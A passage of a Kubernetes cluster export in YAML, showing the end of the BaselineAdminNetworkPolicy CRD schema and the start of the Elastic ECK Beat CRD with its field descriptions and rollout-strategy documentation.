                                        matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                        map is equivalent to an element of matchExpressions, whose key field is "key", the
                                        operator is "In", and the values array contains only "value". The requirements are ANDed.
                                      type: object
                                  type: object
                                  x-kubernetes-map-type: atomic
                              required:
                              - namespaceSelector
                              - podSelector
                              type: object
                          type: object
                        maxItems: 100
                        minItems: 1
                        type: array
                      name:
                        description: |-
                          Name is an identifier for this rule, that may be no more than 100 characters
                          in length. This field should be used by the implementation to help
                          improve observability, readability and error-reporting for any applied
                          BaselineAdminNetworkPolicies.


                          Support: Core
                        maxLength: 100
                        type: string
                      ports:
                        description: |-
                          Ports allows for matching traffic based on port and protocols.
                          This field is a list of ports which should be matched on
                          the pods selected for this policy i.e the subject of the policy.
                          So it matches on the destination port for the ingress traffic.
                          If Ports is not set then the rule does not filter traffic via port.


                          Support: Core
                        items:
                          description: |-
                            AdminNetworkPolicyPort describes how to select network ports on pod(s).
                            Exactly one field must be set.
                          maxProperties: 1
                          minProperties: 1
                          properties:
                            namedPort:
                              description: |-
                                NamedPort selects a port on a pod(s) based on name.


                                Support: Extended


                                <network-policy-api:experimental>
                              type: string
                            portNumber:
                              description: |-
                                Port selects a port on a pod(s) based on number.


                                Support: Core
                              properties:
                                port:
                                  description: |-
                                    Number defines a network port value.


                                    Support: Core
                                  format: int32
                                  maximum: 65535
                                  minimum: 1
                                  type: integer
                                protocol:
                                  default: TCP
                                  description: |-
                                    Protocol is the network protocol (TCP, UDP, or SCTP) which traffic must
                                    match. If not specified, this field defaults to TCP.


                                    Support: Core
                                  type: string
                              required:
                              - port
                              - protocol
                              type: object
                            portRange:
                              description: |-
                                PortRange selects a port range on a pod(s) based on provided start and end
                                values.


                                Support: Core
                              properties:
                                end:
                                  description: |-
                                    End defines a network port that is the end of a port range, the End value
                                    must be greater than Start.


                                    Support: Core
                                  format: int32
                                  maximum: 65535
                                  minimum: 1
                                  type: integer
                                protocol:
                                  default: TCP
                                  description: |-
                                    Protocol is the network protocol (TCP, UDP, or SCTP) which traffic must
                                    match. If not specified, this field defaults to TCP.


                                    Support: Core
                                  type: string
                                start:
                                  description: |-
                                    Start defines a network port that is the start of a port range, the Start
                                    value must be less than End.


                                    Support: Core
                                  format: int32
                                  maximum: 65535
                                  minimum: 1
                                  type: integer
                              required:
                              - end
                              - start
                              type: object
                          type: object
                        maxItems: 100
                        type: array
                    required:
                    - action
                    - from
                    type: object
                  maxItems: 100
                  type: array
                subject:
                  description: |-
                    Subject defines the pods to which this BaselineAdminNetworkPolicy applies.
                    Note that host-networked pods are not included in subject selection.


                    Support: Core
                  maxProperties: 1
                  minProperties: 1
                  properties:
                    namespaces:
                      description: Namespaces is used to select pods via namespace
                        selectors.
                      properties:
                        matchExpressions:
                          description: matchExpressions is a list of label selector
                            requirements. The requirements are ANDed.
                          items:
                            description: |-
                              A label selector requirement is a selector that contains values, a key, and an operator that
                              relates the key and values.
                            properties:
                              key:
                                description: key is the label key that the selector
                                  applies to.
                                type: string
                              operator:
                                description: |-
                                  operator represents a key's relationship to a set of values.
                                  Valid operators are In, NotIn, Exists and DoesNotExist.
                                type: string
                              values:
                                description: |-
                                  values is an array of string values. If the operator is In or NotIn,
                                  the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                  the values array must be empty. This array is replaced during a strategic
                                  merge patch.
                                items:
                                  type: string
                                type: array
                            required:
                            - key
                            - operator
                            type: object
                          type: array
                        matchLabels:
                          additionalProperties:
                            type: string
                          description: |-
                            matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                            map is equivalent to an element of matchExpressions, whose key field is "key", the
                            operator is "In", and the values array contains only "value". The requirements are ANDed.
                          type: object
                      type: object
                      x-kubernetes-map-type: atomic
                    pods:
                      description: Pods is used to select pods via namespace AND pod
                        selectors.
                      properties:
                        namespaceSelector:
                          description: |-
                            NamespaceSelector follows standard label selector semantics; if empty,
                            it selects all Namespaces.
                          properties:
                            matchExpressions:
                              description: matchExpressions is a list of label selector
                                requirements. The requirements are ANDed.
                              items:
                                description: |-
                                  A label selector requirement is a selector that contains values, a key, and an operator that
                                  relates the key and values.
                                properties:
                                  key:
                                    description: key is the label key that the selector
                                      applies to.
                                    type: string
                                  operator:
                                    description: |-
                                      operator represents a key's relationship to a set of values.
                                      Valid operators are In, NotIn, Exists and DoesNotExist.
                                    type: string
                                  values:
                                    description: |-
                                      values is an array of string values. If the operator is In or NotIn,
                                      the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                      the values array must be empty. This array is replaced during a strategic
                                      merge patch.
                                    items:
                                      type: string
                                    type: array
                                required:
                                - key
                                - operator
                                type: object
                              type: array
                            matchLabels:
                              additionalProperties:
                                type: string
                              description: |-
                                matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                map is equivalent to an element of matchExpressions, whose key field is "key", the
                                operator is "In", and the values array contains only "value". The requirements are ANDed.
                              type: object
                          type: object
                          x-kubernetes-map-type: atomic
                        podSelector:
                          description: |-
                            PodSelector is used to explicitly select pods within a namespace; if empty,
                            it selects all Pods.
                          properties:
                            matchExpressions:
                              description: matchExpressions is a list of label selector
                                requirements. The requirements are ANDed.
                              items:
                                description: |-
                                  A label selector requirement is a selector that contains values, a key, and an operator that
                                  relates the key and values.
                                properties:
                                  key:
                                    description: key is the label key that the selector
                                      applies to.
                                    type: string
                                  operator:
                                    description: |-
                                      operator represents a key's relationship to a set of values.
                                      Valid operators are In, NotIn, Exists and DoesNotExist.
                                    type: string
                                  values:
                                    description: |-
                                      values is an array of string values. If the operator is In or NotIn,
                                      the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                      the values array must be empty. This array is replaced during a strategic
                                      merge patch.
                                    items:
                                      type: string
                                    type: array
                                required:
                                - key
                                - operator
                                type: object
                              type: array
                            matchLabels:
                              additionalProperties:
                                type: string
                              description: |-
                                matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                map is equivalent to an element of matchExpressions, whose key field is "key", the
                                operator is "In", and the values array contains only "value". The requirements are ANDed.
                              type: object
                          type: object
                          x-kubernetes-map-type: atomic
                      required:
                      - namespaceSelector
                      - podSelector
                      type: object
                  type: object
              required:
              - subject
              type: object
            status:
              description: Status is the status to be reported by the implementation.
              properties:
                conditions:
                  items:
                    description: "Condition contains details for one aspect of the
                      current state of this API Resource.\n---\nThis struct is intended
                      for direct use as an array at the field path .status.conditions.
                      \ For example,\n\n\n\ttype FooStatus struct{\n\t    // Represents
                      the observations of a foo's current state.\n\t    // Known .status.conditions.type
                      are: \"Available\", \"Progressing\", and \"Degraded\"\n\t    //
                      +patchMergeKey=type\n\t    // +patchStrategy=merge\n\t    //
                      +listType=map\n\t    // +listMapKey=type\n\t    Conditions []metav1.Condition
                      `json:\"conditions,omitempty\" patchStrategy:\"merge\" patchMergeKey:\"type\"
                      protobuf:\"bytes,1,rep,name=conditions\"`\n\n\n\t    // other
                      fields\n\t}"
                    properties:
                      lastTransitionTime:
                        description: |-
                          lastTransitionTime is the last time the condition transitioned from one status to another.
                          This should be when the underlying condition changed.  If that is not known, then using the time when the API field changed is acceptable.
                        format: date-time
                        type: string
                      message:
                        description: |-
                          message is a human readable message indicating details about the transition.
                          This may be an empty string.
                        maxLength: 32768
                        type: string
                      observedGeneration:
                        description: |-
                          observedGeneration represents the .metadata.generation that the condition was set based upon.
                          For instance, if .metadata.generation is currently 12, but the .status.conditions[x].observedGeneration is 9, the condition is out of date
                          with respect to the current state of the instance.
                        format: int64
                        minimum: 0
                        type: integer
                      reason:
                        description: |-
                          reason contains a programmatic identifier indicating the reason for the condition's last transition.
                          Producers of specific condition types may define expected values and meanings for this field,
                          and whether the values are considered a guaranteed API.
                          The value should be a CamelCase string.
                          This field may not be empty.
                        maxLength: 1024
                        minLength: 1
                        pattern: ^[A-Za-z]([A-Za-z0-9_,:]*[A-Za-z0-9_])?$
                        type: string
                      status:
                        description: status of the condition, one of True, False,
                          Unknown.
                        enum:
                        - "True"
                        - "False"
                        - Unknown
                        type: string
                      type:
                        description: |-
                          type of condition in CamelCase or in foo.example.com/CamelCase.
                          ---
                          Many .condition.type values are consistent across resources like Available, but because arbitrary conditions can be
                          useful (see .node.status.conditions), the ability to deconflict is important.
                          The regex it matches is (dns1123SubdomainFmt/)?(qualifiedNameFmt)
                        maxLength: 316
                        pattern: ^([a-z0-9]([-a-z0-9]*[a-z0-9])?(\.[a-z0-9]([-a-z0-9]*[a-z0-9])?)*/)?(([A-Za-z0-9][-A-Za-z0-9_.]*)?[A-Za-z0-9])$
                        type: string
                    required:
                    - lastTransitionTime
                    - message
                    - reason
                    - status
                    - type
                    type: object
                  type: array
                  x-kubernetes-list-map-keys:
                  - type
                  x-kubernetes-list-type: map
              required:
              - conditions
              type: object
          required:
          - metadata
          - spec
          type: object
          x-kubernetes-validations:
          - message: Only one baseline admin network policy with metadata.name="default"
              can be created in the cluster
            rule: self.metadata.name == 'default'
      served: true
      storage: true
      subresources:
        status: {}
  status:
    acceptedNames:
      kind: BaselineAdminNetworkPolicy
      listKind: BaselineAdminNetworkPolicyList
      plural: baselineadminnetworkpolicies
      shortNames:
      - banp
      singular: baselineadminnetworkpolicy
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:51Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-21T11:09:51Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    - lastTransitionTime: "2025-09-21T11:09:51Z"
      message: approved in https://github.com/kubernetes-sigs/network-policy-api/pull/30
      reason: ApprovedAnnotation
      status: "True"
      type: KubernetesAPIApprovalPolicyConformant
    storedVersions:
    - v1alpha1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.15.0
      helm.sh/resource-policy: keep
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"apiextensions.k8s.io/v1","kind":"CustomResourceDefinition","metadata":{"annotations":{"controller-gen.kubebuilder.io/version":"v0.15.0","helm.sh/resource-policy":"keep"},"labels":{"app.kubernetes.io/instance":"elastic-operator","app.kubernetes.io/name":"eck-operator-crds","app.kubernetes.io/version":"2.14.0"},"name":"beats.beat.k8s.elastic.co"},"spec":{"group":"beat.k8s.elastic.co","names":{"categories":["elastic"],"kind":"Beat","listKind":"BeatList","plural":"beats","shortNames":["beat"],"singular":"beat"},"scope":"Namespaced","versions":[{"additionalPrinterColumns":[{"jsonPath":".status.health","name":"health","type":"string"},{"description":"Available nodes","jsonPath":".status.availableNodes","name":"available","type":"integer"},{"description":"Expected nodes","jsonPath":".status.expectedNodes","name":"expected","type":"integer"},{"description":"Beat type","jsonPath":".spec.type","name":"type","type":"string"},{"description":"Beat version","jsonPath":".status.version","name":"version","type":"string"},{"jsonPath":".metadata.creationTimestamp","name":"age","type":"date"}],"name":"v1beta1","schema":{"openAPIV3Schema":{"description":"Beat is the Schema for the Beats API.","properties":{"apiVersion":{"description":"APIVersion defines the versioned schema of this representation of an object.\nServers should convert recognized schemas to the latest internal value, and\nmay reject unrecognized values.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources","type":"string"},"kind":{"description":"Kind is a string value representing the REST resource this object represents.\nServers may infer this from the endpoint the client submits requests to.\nCannot be updated.\nIn CamelCase.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds","type":"string"},"metadata":{"type":"object"},"spec":{"description":"BeatSpec defines the desired state of a Beat.","properties":{"config":{"description":"Config holds the Beat configuration. At most one of [`Config`, `ConfigRef`] can be specified.","type":"object","x-kubernetes-preserve-unknown-fields":true},"configRef":{"description":"ConfigRef contains a reference to an existing Kubernetes Secret holding the Beat configuration.\nBeat settings must be specified as yaml, under a single \"beat.yml\" entry. At most one of [`Config`, `ConfigRef`]\ncan be specified.","properties":{"secretName":{"description":"SecretName is the name of the secret.","type":"string"}},"type":"object"},"daemonSet":{"description":"DaemonSet specifies the Beat should be deployed as a DaemonSet, and allows providing its spec.\nCannot be used along with `deployment`. If both are absent a default for the Type is used.","properties":{"podTemplate":{"description":"PodTemplateSpec describes the data a pod should have when created from a template","type":"object","x-kubernetes-preserve-unknown-fields":true},"updateStrategy":{"description":"DaemonSetUpdateStrategy is a struct used to control the update strategy for a DaemonSet.","properties":{"rollingUpdate":{"description":"Rolling update config params. Present only if type = \"RollingUpdate\".\n---\nTODO: Update this to follow our convention for oneOf, whatever we decide it\nto be. Same as Deployment `strategy.rollingUpdate`.\nSee https://github.com/kubernetes/kubernetes/issues/35345","properties":{"maxSurge":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"The maximum number of nodes with an existing available DaemonSet pod that\ncan have an updated DaemonSet pod during during an update.\nValue can be an absolute number (ex: 5) or a percentage of desired pods (ex: 10%).\nThis can not be 0 if MaxUnavailable is 0.\nAbsolute number is calculated from percentage by rounding up to a minimum of 1.\nDefault value is 0.\nExample: when this is set to 30%, at most 30% of the total number of nodes\nthat should be running the daemon pod (i.e. status.desiredNumberScheduled)\ncan have their a new pod created before the old pod is marked as deleted.\nThe update starts by launching new pods on 30% of nodes. Once an updated\npod is available (Ready for at least minReadySeconds) the old DaemonSet pod\non that node is marked deleted. If the old pod becomes unavailable for any\nreason (Ready transitions to false, is evicted, or is drained) an updated\npod is immediatedly created on that node without considering surge limits.\nAllowing surge implies the possibility that the resources consumed by the\ndaemonset on any given node can double if the readiness check fails, and\nso resource intensive daemonsets should take into account that they may\ncause evictions during disruption.","x-kubernetes-int-or-string":true},"maxUnavailable":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"The maximum number of DaemonSet pods that can be unavailable during the\nupdate. Value can be an absolute number (ex: 5) or a percentage of total\nnumber of DaemonSet pods at the start of the update (ex: 10%). Absolute\nnumber is calculated from percentage by rounding up.\nThis cannot be 0 if MaxSurge is 0\nDefault value is 1.\nExample: when this is set to 30%, at most 30% of the total number of nodes\nthat should be running the daemon pod (i.e. status.desiredNumberScheduled)\ncan have their pods stopped for an update at any given time. The update\nstarts by stopping at most 30% of those DaemonSet pods and then brings\nup new DaemonSet pods in their place. Once the new pods are available,\nit then proceeds onto other DaemonSet pods, thus ensuring that at least\n70% of original number of DaemonSet pods are available at all times during\nthe update.","x-kubernetes-int-or-string":true}},"type":"object"},"type":{"description":"Type of daemon set update. Can be \"RollingUpdate\" or \"OnDelete\". Default is RollingUpdate.","type":"string"}},"type":"object"}},"type":"object"},"deployment":{"description":"Deployment specifies the Beat should be deployed as a Deployment, and allows providing its spec.\nCannot be used along with `daemonSet`. If both are absent a default for the Type is used.","properties":{"podTemplate":{"description":"PodTemplateSpec describes the data a pod should have when created from a template","type":"object","x-kubernetes-preserve-unknown-fields":true},"replicas":{"format":"int32","type":"integer"},"strategy":{"description":"DeploymentStrategy describes how to replace existing pods with new ones.","properties":{"rollingUpdate":{"description":"Rolling update config params. Present only if DeploymentStrategyType =\nRollingUpdate.\n---\nTODO: Update this to follow our convention for oneOf, whatever we decide it\nto be.","properties":{"maxSurge":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"The maximum number of pods that can be scheduled above the desired number of\npods.\nValue can be an absolute number (ex: 5) or a percentage of desired pods (ex: 10%).\nThis can not be 0 if MaxUnavailable is 0.\nAbsolute number is calculated from percentage by rounding up.\nDefaults to 25%.\nExample: when this is set to 30%, the new ReplicaSet can be scaled up immediately when\nthe rolling update starts, such that the total number of old and new pods do not exceed\n130% of desired pods. Once old pods have been killed,\nnew ReplicaSet can be scaled up further, ensuring that total number of pods running\nat any time during the update is at most 130% of desired pods.","x-kubernetes-int-or-string":true},"maxUnavailable":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"The maximum number of pods that can be unavailable during the update.\nValue can be an absolute number (ex: 5) or a percentage of desired pods (ex: 10%).\nAbsolute number is calculated from percentage by rounding down.\nThis can not be 0 if MaxSurge is 0.\nDefaults to 25%.\nExample: when this is set to 30%, the old ReplicaSet can be scaled down to 70% of desired pods\nimmediately when the rolling update starts. Once new pods are ready, old ReplicaSet\ncan be scaled down further, followed by scaling up the new ReplicaSet, ensuring\nthat the total number of pods available at all times during the update is at\nleast 70% of desired pods.","x-kubernetes-int-or-string":true}},"type":"object"},"type":{"description":"Type of deployment. Can be \"Recreate\" or \"RollingUpdate\". Default is RollingUpdate.","type":"string"}},"type":"object"}},"type":"object"},"elasticsearchRef":{"description":"ElasticsearchRef is a reference to an Elasticsearch cluster running in the same Kubernetes cluster.","properties":{"name":{"description":"Name of an existing Kubernetes object corresponding to an Elastic resource managed by ECK.","type":"string"},"namespace":{"description":"Namespace of the Kubernetes object. If empty, defaults to the current namespace.","type":"string"},"secretName":{"description":"SecretName is the name of an existing Kubernetes secret that contains connection information for associating an\nElastic resource not managed by the operator. The referenced secret must contain the following:\n- `url`: the URL to reach the Elastic resource\n- `username`: the username of the user to be authenticated to the Elastic resource\n- `password`: the password of the user to be authenticated to the Elastic resource\n- `ca.crt`: the CA certificate in PEM format (optional)\n- `api-key`: the key to authenticate against the Elastic resource instead of a username and password (supported only for `elasticsearchRefs` in AgentSpec and in BeatSpec)\nThis field cannot be used in combination with the other fields name, namespace or serviceName.","type":"string"},"serviceName":{"description":"ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced\nobject. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of\nthe referenced resource is used.","type":"string"}},"type":"object"},"image":{"description":"Image is the Beat Docker image to deploy. Version and Type have to match the Beat in the image.","type":"string"},"kibanaRef":{"description":"KibanaRef is a reference to a Kibana instance running in the same Kubernetes cluster.\nIt allows automatic setup of dashboards and visualizations.","properties":{"name":{"description":"Name of an existing Kubernetes object corresponding to an Elastic resource managed by ECK.","type":"string"},"namespace":{"description":"Namespace of the Kubernetes object. If empty, defaults to the current namespace.","type":"string"},"secretName":{"description":"SecretName is the name of an existing Kubernetes secret that contains connection information for associating an\nElastic resource not managed by the operator. The referenced secret must contain the following:\n- `url`: the URL to reach the Elastic resource\n- `username`: the username of the user to be authenticated to the Elastic resource\n- `password`: the password of the user to be authenticated to the Elastic resource\n- `ca.crt`: the CA certificate in PEM format (optional)\n- `api-key`: the key to authenticate against the Elastic resource instead of a username and password (supported only for `elasticsearchRefs` in AgentSpec and in BeatSpec)\nThis field cannot be used in combination with the other fields name, namespace or serviceName.","type":"string"},"serviceName":{"description":"ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced\nobject. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of\nthe referenced resource is used.","type":"string"}},"type":"object"},"monitoring":{"description":"Monitoring enables you to collect and ship logs and metrics for this Beat.\nMetricbeat and/or Filebeat sidecars are configured and send monitoring data to an\nElasticsearch monitoring cluster running in the same Kubernetes cluster.","properties":{"logs":{"description":"Logs holds references to Elasticsearch clusters which receive log data from an associated resource.","properties":{"elasticsearchRefs":{"description":"ElasticsearchRefs is a reference to a list of monitoring Elasticsearch clusters running in the same Kubernetes cluster.\nDue to existing limitations, only a single Elasticsearch cluster is currently supported.","items":{"description":"ObjectSelector defines a reference to a Kubernetes object which can be an Elastic resource managed by the operator\nor a Secret describing an external Elastic resource not managed by the operator.","properties":{"name":{"description":"Name of an existing Kubernetes object corresponding to an Elastic resource managed by ECK.","type":"string"},"namespace":{"description":"Namespace of the Kubernetes object. If empty, defaults to the current namespace.","type":"string"},"secretName":{"description":"SecretName is the name of an existing Kubernetes secret that contains connection information for associating an\nElastic resource not managed by the operator. The referenced secret must contain the following:\n- `url`: the URL to reach the Elastic resource\n- `username`: the username of the user to be authenticated to the Elastic resource\n- `password`: the password of the user to be authenticated to the Elastic resource\n- `ca.crt`: the CA certificate in PEM format (optional)\n- `api-key`: the key to authenticate against the Elastic resource instead of a username and password (supported only for `elasticsearchRefs` in AgentSpec and in BeatSpec)\nThis field cannot be used in combination with the other fields name, namespace or serviceName.","type":"string"},"serviceName":{"description":"ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced\nobject. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of\nthe referenced resource is used.","type":"string"}},"type":"object"},"type":"array"}},"type":"object"},"metrics":{"description":"Metrics holds references to Elasticsearch clusters which receive monitoring data from this resource.","properties":{"elasticsearchRefs":{"description":"ElasticsearchRefs is a reference to a list of monitoring Elasticsearch clusters running in the same Kubernetes cluster.\nDue to existing limitations, only a single Elasticsearch cluster is currently supported.","items":{"description":"ObjectSelector defines a reference to a Kubernetes object which can be an Elastic resource managed by the operator\nor a Secret describing an external Elastic resource not managed by the operator.","properties":{"name":{"description":"Name of an existing Kubernetes object corresponding to an Elastic resource managed by ECK.","type":"string"},"namespace":{"description":"Namespace of the Kubernetes object. If empty, defaults to the current namespace.","type":"string"},"secretName":{"description":"SecretName is the name of an existing Kubernetes secret that contains connection information for associating an\nElastic resource not managed by the operator. The referenced secret must contain the following:\n- `url`: the URL to reach the Elastic resource\n- `username`: the username of the user to be authenticated to the Elastic resource\n- `password`: the password of the user to be authenticated to the Elastic resource\n- `ca.crt`: the CA certificate in PEM format (optional)\n- `api-key`: the key to authenticate against the Elastic resource instead of a username and password (supported only for `elasticsearchRefs` in AgentSpec and in BeatSpec)\nThis field cannot be used in combination with the other fields name, namespace or serviceName.","type":"string"},"serviceName":{"description":"ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced\nobject. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of\nthe referenced resource is used.","type":"string"}},"type":"object"},"type":"array"}},"type":"object"}},"type":"object"},"revisionHistoryLimit":{"description":"RevisionHistoryLimit is the number of revisions to retain to allow rollback in the underlying DaemonSet or Deployment.","format":"int32","type":"integer"},"secureSettings":{"description":"SecureSettings is a list of references to Kubernetes Secrets containing sensitive configuration options for the Beat.\nSecrets data can be then referenced in the Beat config using the Secret's keys or as specified in `Entries` field of\neach SecureSetting.","items":{"description":"SecretSource defines a data source based on a Kubernetes Secret.","properties":{"entries":{"description":"Entries define how to project each key-value pair in the secret to filesystem paths.\nIf not defined, all keys will be projected to similarly named paths in the filesystem.\nIf defined, only the specified keys will be projected to the corresponding paths.","items":{"description":"KeyToPath defines how to map a key in a Secret object to a filesystem path.","properties":{"key":{"description":"Key is the key contained in the secret.","type":"string"},"path":{"description":"Path is the relative file path to map the key to.\nPath must not be an absolute file path and must not contain any \"..\" components.","type":"string"}},"required":["key"],"type":"object"},"type":"array"},"secretName":{"description":"SecretName is the name of the secret.","type":"string"}},"required":["secretName"],"type":"object"},"type":"array"},"serviceAccountName":{"description":"ServiceAccountName is used to check access from the current resource to Elasticsearch resource in a different namespace.\nCan only be used if ECK is enforcing RBAC on references.","type":"string"},"type":{"description":"Type is the type of the Beat to deploy (filebeat, metricbeat, heartbeat, auditbeat, journalbeat, packetbeat, and so on).\nAny string can be used, but well-known types will have the image field defaulted and have the appropriate\nElasticsearch roles created automatically. It also allows for dashboard setup when combined with a `KibanaRef`.","maxLength":20,"pattern":"[a-zA-Z0-9-]+","type":"string"},"version":{"description":"Version of the Beat.","type":"string"}},"required":["type","version"],"type":"object"},"status":{"description":"BeatStatus defines the observed state of a Beat.","properties":{"availableNodes":{"format":"int32","type":"integer"},"elasticsearchAssociationStatus":{"description":"AssociationStatus is the status of an association resource.","type":"string"},"expectedNodes":{"format":"int32","type":"integer"},"health":{"type":"string"},"kibanaAssociationStatus":{"description":"AssociationStatus is the status of an association resource.","type":"string"},"monitoringAssociationStatus":{"additionalProperties":{"description":"AssociationStatus is the status of an association resource.","type":"string"},"description":"AssociationStatusMap is the map of association's namespaced name string to its AssociationStatus. For resources that\nhave a single Association of a given type (for ex. single ES reference), this map contains a single entry.","type":"object"},"observedGeneration":{"description":"ObservedGeneration represents the .metadata.generation that the status is based upon.\nIt corresponds to the metadata generation, which is updated on mutation by the API Server.\nIf the generation observed in status diverges from the generation in metadata, the Beats\ncontroller has not yet processed the changes contained in the Beats specification.","format":"int64","type":"integer"},"version":{"description":"Version of the stack resource currently running. During version upgrades, multiple versions may run\nin parallel: this value specifies the lowest version currently running.","type":"string"}},"type":"object"}},"type":"object"}},"served":true,"storage":true,"subresources":{"status":{}}}]}}
    creationTimestamp: "2025-09-23T11:55:59Z"
    generation: 1
    labels:
      app.kubernetes.io/instance: elastic-operator
      app.kubernetes.io/name: eck-operator-crds
      app.kubernetes.io/version: 2.14.0
    name: beats.beat.k8s.elastic.co
    resourceVersion: "432323"
    uid: c8413f30-4e89-4303-a010-00aa4d20a52d
  spec:
    conversion:
      strategy: None
    group: beat.k8s.elastic.co
    names:
      categories:
      - elastic
      kind: Beat
      listKind: BeatList
      plural: beats
      shortNames:
      - beat
      singular: beat
    scope: Namespaced
    versions:
    - additionalPrinterColumns:
      - jsonPath: .status.health
        name: health
        type: string
      - description: Available nodes
        jsonPath: .status.availableNodes
        name: available
        type: integer
      - description: Expected nodes
        jsonPath: .status.expectedNodes
        name: expected
        type: integer
      - description: Beat type
        jsonPath: .spec.type
        name: type
        type: string
      - description: Beat version
        jsonPath: .status.version
        name: version
        type: string
      - jsonPath: .metadata.creationTimestamp
        name: age
        type: date
      name: v1beta1
      schema:
        openAPIV3Schema:
          description: Beat is the Schema for the Beats API.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: BeatSpec defines the desired state of a Beat.
              properties:
                config:
                  description: Config holds the Beat configuration. At most one of
                    [`Config`, `ConfigRef`] can be specified.
                  type: object
                  x-kubernetes-preserve-unknown-fields: true
                configRef:
                  description: |-
                    ConfigRef contains a reference to an existing Kubernetes Secret holding the Beat configuration.
                    Beat settings must be specified as yaml, under a single "beat.yml" entry. At most one of [`Config`, `ConfigRef`]
                    can be specified.
                  properties:
                    secretName:
                      description: SecretName is the name of the secret.
                      type: string
                  type: object
                daemonSet:
                  description: |-
                    DaemonSet specifies the Beat should be deployed as a DaemonSet, and allows providing its spec.
                    Cannot be used along with `deployment`. If both are absent a default for the Type is used.
                  properties:
                    podTemplate:
                      description: PodTemplateSpec describes the data a pod should
                        have when created from a template
                      type: object
                      x-kubernetes-preserve-unknown-fields: true
                    updateStrategy:
                      description: DaemonSetUpdateStrategy is a struct used to control
                        the update strategy for a DaemonSet.
                      properties:
                        rollingUpdate:
                          description: |-
                            Rolling update config params. Present only if type = "RollingUpdate".
                            ---
                            TODO: Update this to follow our convention for oneOf, whatever we decide it
                            to be. Same as Deployment `strategy.rollingUpdate`.
                            See https://github.com/kubernetes/kubernetes/issues/35345
                          properties:
                            maxSurge:
                              anyOf:
                              - type: integer
                              - type: string
                              description: |-
                                The maximum number of nodes with an existing available DaemonSet pod that
                                can have an updated DaemonSet pod during during an update.
                                Value can be an absolute number (ex: 5) or a percentage of desired pods (ex: 10%).
                                This can not be 0 if MaxUnavailable is 0.
                                Absolute number is calculated from percentage by rounding up to a minimum of 1.
                                Default value is 0.
                                Example: when this is set to 30%, at most 30% of the total number of nodes
                                that should be running the daemon pod (i.e. status.desiredNumberScheduled)
                                can have their a new pod created before the old pod is marked as deleted.
                                The update starts by launching new pods on 30% of nodes. Once an updated
                                pod is available (Ready for at least minReadySeconds) the old DaemonSet pod
                                on that node is marked deleted. If the old pod becomes unavailable for any
                                reason (Ready transitions to false, is evicted, or is drained) an updated
                                pod is immediatedly created on that node without considering surge limits.
                                Allowing surge implies the possibility that the resources consumed by the
                                daemonset on any given node can double if the readiness check fails, and
                                so resource intensive daemonsets should take into account that they may
                                cause evictions during disruption.
                              x-kubernetes-int-or-string: true
                            maxUnavailable:
                              anyOf:
                              - type: integer
                              - type: string
                              description: |-
                                The maximum number of DaemonSet pods that can be unavailable during the
                                update. Value can be an absolute number (ex: 5) or a percentage of total
                                number of DaemonSet pods at the start of the update (ex: 10%). Absolute
                                number is calculated from percentage by rounding up.
                                This cannot be 0 if MaxSurge is 0
                                Default value is 1.
                                Example: when this is set to 30%, at most 30% of the total number of nodes
                                that should be running the daemon pod (i.e. status.desiredNumberScheduled)
                                can have their pods stopped for an update at any given time. The update
                                starts by stopping at most 30% of those DaemonSet pods and then brings
                                up new DaemonSet pods in their place. Once the new pods are available,
                                it then proceeds onto other DaemonSet pods, thus ensuring that at least
                                70% of original number of DaemonSet pods are available at all times during
                                the update.
                              x-kubernetes-int-or-string: true
                          type: object
                        type:
                          description: Type of daemon set update. Can be "RollingUpdate"
                            or "OnDelete". Default is RollingUpdate.
                          type: string
                      type: object
                  type: object
                deployment:
                  description: |-
                    Deployment specifies the Beat should be deployed as a Deployment, and allows providing its spec.
                    Cannot be used along with `daemonSet`. If both are absent a default for the Type is used.
                  properties:
                    podTemplate:
                      description: PodTemplateSpec describes the data a pod should
                        have when created from a template
                      type: object
                      x-kubernetes-preserve-unknown-fields: true
                    replicas:
                      format: int32
                      type: integer
                    strategy:
                      description: DeploymentStrategy describes how to replace existing
                        pods with new ones.
                      properties:
                        rollingUpdate:
                          description: |-
                            Rolling update config params. Present only if DeploymentStrategyType =
                            RollingUpdate.
                            ---
                            TODO: Update this to follow our convention for oneOf, whatever we decide it
                            to be.
                          properties:
                            maxSurge:
                              anyOf:
                              - type: integer
                              - type: string
                              description: |-
                                The maximum number of pods that can be scheduled above the desired number of
                                pods.
                                Value can be an absolute number (ex: 5) or a percentage of desired pods (ex: 10%).
